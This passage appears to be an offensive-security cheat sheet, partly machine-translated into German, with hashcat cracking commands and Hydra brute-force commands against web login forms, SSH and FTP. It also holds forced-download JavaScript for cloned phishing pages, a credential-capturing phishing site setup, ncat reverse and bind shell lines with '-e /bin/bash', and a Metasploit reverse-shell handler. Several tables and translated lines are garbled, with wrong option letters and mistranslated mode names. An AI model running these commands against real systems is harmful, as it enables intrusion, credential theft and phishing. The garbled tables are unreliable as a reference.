| 0 | MD5 |
| 100 | Sha1 |
| 1400 | SHA256 |
| 1700 | SHA512 |
| 200 | MySQL323 |
| 300 | MySQL4.1/MySQL5 |
| 1000 | Ntlm |
| 5500 | Netntlmv1-vanilla / netntlmv1-iesS |
| 5600 | Netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
Weitere Hash -Typen lesen Sie das Handbuch.
| Angriffsmodus | Name |
|---|---|
| 0 | Gerade |
| 1 | Kombination |
| 3 | Rohe Kraft |
| 6 | Hybrid WordList + Maske |
| 7 | Hybridmaske + WordList |
| 9 | Verein |
| Charset | Beschreibung |
|---|---|
| ? L | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?D | 0123456789 |
| ?S | ! "#$%& '()*+,-./:; <=>?@[]^_` {|} ~ |
| ?A | ? L? u? D? S |
| ?B | 0x00 - 0xff |
Wörterbuchangriff:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
Sie finden rockyou.txt WordList in Seclists.
Brute Force A Hash mit einem Platzhalter:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
Wörterbuchangriff:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
Sie können auch mein JWT-Cracking-Werkzeug bei Ivan-Sincek/JWT-BF überprüfen.
Ich bevorzuge es, Burp Suite zu brutalen Force -Webformen und Hydra für andere Dienste zu verwenden.
Dictionary -Angriff auf ein Webformular für das HTTP -Post -Login:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
Wenn Sie ein Anmeldebodus brutal erzwingen, müssen Sie Login=Login:<expected_message> angeben, um zwischen den erfolgreichen und fehlgeschlagenen Anmeldeversuchen zu unterscheiden. Ändern Sie nach Bedarf den Parameternamen des username und password .
Wörterbuchangriff auf eine sichere Shell (SSH) Anmeldung:
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
Sie können eine Reihe nützlicher Wordlisten in Seklisten finden.
| Option | Beschreibung |
|---|---|
| -R | Stellen Sie eine frühere abgebrochene/abgestürzte Sitzung wieder her |
| -S | Führen Sie eine SSL -Verbindung durch |
| -O | Verwenden Sie alte SSL V2 und V3 |
| -S | Wenn sich der Dienst in einem anderen Standardport befindet, definieren Sie ihn hier |
| -l | Melden Sie sich mit einem Login -Namen an |
| -L | Laden Sie mehrere Anmeldungen aus einer Datei |
| -P | Melden Sie sich mit einem Passwort an |
| -P | Laden Sie mehrere Passwörter aus einer Datei |
| -X | Passwort Brute Force Generation (min: max: charSet), Typ "-x -h", um Hilfe zu erhalten |
| -y | Deaktivieren Sie die Verwendung von Symbolen in Bruteforce |
| -e | Versuchen Sie "n" Null Passwort "S" als Pass und/oder "R" umgekehrtes Login anmelden |
| -O | Schreiben Sie gefundene Anmelde-/Passwortpaare an eine Datei anstelle von STDOut |
| -f/-f | Beenden Sie, wenn ein Login/Pass -Paar gefunden wird (-F pro Host, -f global) |
| -M | Liste der angreiferen Server, einen Eintrag pro Zeile, ':' Angabe des Ports angeben |
| Unterstützte Dienste |
|---|
| FTP [s] |
| http [s]-{get | post} -Form |
| Mysql |
| SMB |
| SMTP [s] |
| SNMP |
| ssh |
| Telnet [s] |
| VNC |
Weitere unterstützte Dienste lesen Sie das Handbuch.
| Brute Force Syntax | Beschreibung |
|---|---|
| Min | Minimum number of characters in the password |
| Max | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| Option | Beschreibung |
|---|---|
| -D | Sends the specified data in a POST request to the HTTP server |
| -H | Extra header to include in the request when sending HTTP to a server |
| -ich | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -O | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -X | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!